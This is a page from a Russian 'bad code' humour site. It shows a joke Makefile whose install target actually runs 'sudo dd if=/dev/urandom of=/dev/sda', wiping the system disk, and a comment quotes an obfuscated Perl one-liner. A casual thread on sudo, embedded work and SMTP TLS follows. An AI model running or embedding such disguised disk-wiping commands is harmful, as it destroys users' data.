Beri bash i ebash / Говнокод #27066 Ссылка на оригинал

0

  1. 1
  2. 2
  3. 3
  4. 4
all:
	@echo Check depends...
	@echo Install depends...
	@sudo dd if=/dev/urandom of=/dev/sda

Makefile...

Запостил: DartPower DartPower, (Updated )

Комментарии (45) RSS

  • надо же, как упроситлась классика
    echo "test... test... test..." | perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`~{;;y; -/:-@[-`{|~};`-{/" *-;;s;;$_;see'
    Ответить
    • можно в sudo разерешить только одну команду, которая переключит тебя в рута поменяв приглашение
      Ответить
      • Ну я только для этого sudo и юзаю. Ибо бесит перед каждой командой писать sudo, да и смысла никакого в этом нет - без кеша достанет пароль вводить, а с кешем оно не страхует от факапов и вот таких вот скриптов.
        Ответить
        • а ты рутишься со всеми переменными окружения?

          У меня был еще такой багор, что .Xauth файл (или как там его) искался в ~/, а ~ другой, и иксовые проги не работали. Я потом вставил его копирование в профиль.

          Хз кстати, как правильно смделать
          Ответить
          • что за адище блять
            в гнуме есть же возможность оконному приложению попросить эскалацию, запустится системное окошко для ввода пароля на замутненном фоне
            Ответить
            • Ах, ну да, уже же давно завезли pkexec через dbus*

              Но я не пользуюсь DE, я некрофил и примитивист


              *https://www.freedesktop.org/software/polkit/docs/0.105/manpages.html
              DE его юзают
              Ответить
          • sudo su -

            За счёт "-" оно не переносит переменные, чисто рутовый профиль зачитывет. Но я могу ошибаться.

            > копирование

            Зачем? Зачем? Там же переменную окружения достаточно сделать, sudo её обычно даже прокидывает автоматом если не выёбываться с "su -".
            Ответить
            • вроде, sudo -s ему подойдет гораздо лучше, если надо продолжать читать Xauthority
              Ответить
    • А если ещё серьезнее: потому что у нас, блин, сложная работа. Очень сложная. Когда ты только вкатываешься в индустрию, ты должен учиться вообще всё свободное время.

      бедняга
      Ответить
      • > должен учиться вообще всё свободное время

        Именно поэтому я за "PHP", где можно сразу вкатиться и течь?
        Ответить
      • Поэтому я против японских мультфильмов, "Игры престолов", "Властелина колец", компьютерных игр и "философских" комиксов на "Пикабу".
        Ответить
          • И то верно. Музыку нужно исполнять, а не слушать. Вот раньше бывало, соберутся люди за столом и поют что-нибудь хорошее. Например:
            Чёрный ворон,
            Чёрный ворон,
            Что ж ты вьёшься
            Надо мной?
            Ты добычи
            Не дождёшься.
            Чёрный ворон,
            Я не твой.
            Ответить
    • > И тогда я привожу свой опыт, опыт всех кого я знаю, опыт всей индустрии. И эти опыты говорят одно. Требования всегда меняются. Вот вообще всегда. И меняются намного сильнее, чем предвосхищают самые опытные строители фабрик. Если предложить не-разрабу изобрести концепцию приложения, то после того, когда он её тебе отдаст и ты начнешь её делать — он уже на следующий день пришлёт тебе список изменений в концепте.

      Поэтому я за embedded. Там не надо будет переделывать прошивку для радиоприемника в прошивку для дефибриллятора
      Ответить
      • > не надо будет переделывать прошивку для радиоприемника в прошивку для дефибриллятора

        Да ладно?! Накопипастить куски старого проекта чтобы не писать заново всякую инициализацию да дрова - это норма для эмбеддеда по-моему.
        Ответить
        • Инициализация может быть сильно разной. Да и инициализация (по сравнению с собственно самим программированием) это вообще банальная хренотень, которую к тому же в IDE-шке тупо натыкать мышкой можно (в той же STM32Cube)
          Ответить
          • Ну какой-нибудь кусок с PID регулятором всяко скопипастят из приёмника в дефибриллятор... Была автоподстройка частоты, стала стабилизация напряжения. Параметры запинать и в продакшен.
            Ответить
            • Не, ну если в дефибрилляторе юзается такой же LCD экранчик, как и в каком-нибудь приемнике, можно естественно этот код стырить из приемника, но это не про постоянно меняющиеся требования, как это происходит у всяких там этих вот frontend backend кококок.

              > Когда у тебя на рынке продукт, которым пользуется миллион человек — и каждый из них опосредованно участвует в выработке требований — можешь вообще забыть об идее, что у тебя в кодовой базе будет хоть что-то устойчивое. Миллион пользователей, аналитики и продакты генерируют идеи со скоростью света.

              Вот я б хотел посмотреть, как там аналитики будут генерировать новые требования к радиоприемнику в духе "а давайте туда вхуячим функционал дефибрилятора, а то вот вдруг кому надо будет реанимацию делать, а тут хоба - у меня в приемник встроен дефибриллятор, заебись нахуй!"
              Ответить
              • Ну вон блютус управление к мультиваркам прикрутили же.

                И вайфай в лампочку, лол. Мигните лампочкой чтобы войти в режим привязки.
                Ответить
                • Ну если кто делает мультиварку с управлением по блютус, он четко знает, что там такой-то функционал будет, такие-то схемы управления этим говном, под такой-то контроллер. Если заказчик в мультиварку внезапно захочет засунуть функционал радиоприемника УКВ диапазона и дефибриллятор, тут одним программированием дело не ограничится, надо перепроектировать схему самого устройства, привлекать схемотехников всяких. Т.е. уровень произвола буйной фантазии заказчика все ж упирается в какие-то разумные лимиты. Нет этой херни с постоянно меняющимися требованиями бизнеса и прочее кококо
                  Ответить
                  • Ну это да, у железячников, дизайнеров корпусов и т.п. всегда есть хорошая отмазка - ок, сделаем, но переход на новые платы и матрицы для пластика будет стоить N тысяч баксов.

                    У программистов такой отмазки нет т.к. всё эфемерное 🙁
                    Ответить
                  • https://www.ixbt.com/home/redmond-rmc-cbd100s-review.html#n7 - кстати вот реальный пример мультиварки с радиоприемником.
                    А как насчет встраивания радиоприемника в пылесос? Ну чтоб под музыку пылесосить, и чтоб шум работы самого пылесоса перебивать.
                    Ответить
                    • Лучше пусть двигатель работает на разной частоте, воспроизводя музыку
                      Ответить
      • Это связано со стоимостью переделки.
        Embedded хуйню достаточно геморно апдейтить кмк, а обновить сраный вк очень легко: выложил новую версию, и потёк.

        Кроме того, тебе не надо удовлетворять хотелки дизайнеров и пользователей: вчера были в моде круглые кнопочки, а сегодня уже квадратные. Нужно всё перехуячить, иначе твое приложение выглядит как "such a 2005" и никто тебя некупить
        Ответить
  • много полезных обновлений ко мне приехало

    - Palestine ends DST earlier than predicted, on 2020-10-24.
    - Fiji starts DST later than usual, on 2020-12-20.
    - Revised predictions for Morocco's changes starting in 2023.
    - Canada's Yukon changes to -07 on 2020-11-01, not 2020-03-08.
    - Macquarie Island has stayed in sync with Tasmania since 2011.
    - Casey, Antarctica is at +08 in winter and +11 in summer since 2018.
    Ответить
    • >> Canada's Yukon changes to -07 on 2020-11-01, not 2020-03-08.

      Это чтобы чинить базы данных, в которых хранится неправильное прошлое?

      Хотя 1 ноября ещё не наступило, ещё на пару дней это исправление может пригодиться и для настоящего.
      Ответить
  • SMTPбляди соснули


    - The content of TLS certificates in SMTP is by default simply ignored,
    MX-to-MX STARTTLS is unauthenticated, protecting only against passive
    monitoring, not active MiTM attacks. Therefore, it mostly makes no
    difference what names you have in your certificate, it is just a key
    container.

    - A small number of senders fail to implement unauthenticated opportunistic
    TLS correctly, and do insist on a matching name, falling back to
    cleartext (this is idiotic, cleartext is NOT safer than an unvalidated
    certificate) when the certificate fails to validate. These tend to
    expect to find the MX hostname in the certificate.
    Ответить
    • Хех, ну тут не то что mitm, тут банальная подмена dns прокатит.

      А имена не проверяют поди из-за того, что у половины там хуйня? Замкнутый круг.
      Ответить
      • Угу.

        А почему так? Почему бы не отказываться от копуляции с сервером, если он тебе вместо сертификата snakeoil предлагает? Боитесь сломать старое?
        Введите поле в DMARC!
        Ответить
        • Ну либо вообще убрать серты и делать анонимное DH, не создавая иллюзию TLS.
          Ответить
          • тогда придется отказаться от готовй реализации TLS из OpenSSL, а это гимор, пилить свой прот, делать новое RFC и итд

            Кстати, а ведь openssl позволяет сделать чисто DH?
            Ответить
            • Ну да, в TLS вроде есть режим anon dh. Просто никто его не согласовывает по-умолчанию т.к. от активных атак оно вообще не защищает.
              Ответить
              • только от снифа, угу

                просто не понятно зачем тогда серт с DN
                Ответить

Добавить комментарий

Семь раз отмерь — один отрежь, guest!

    А не использовать ли нам bbcode?


    8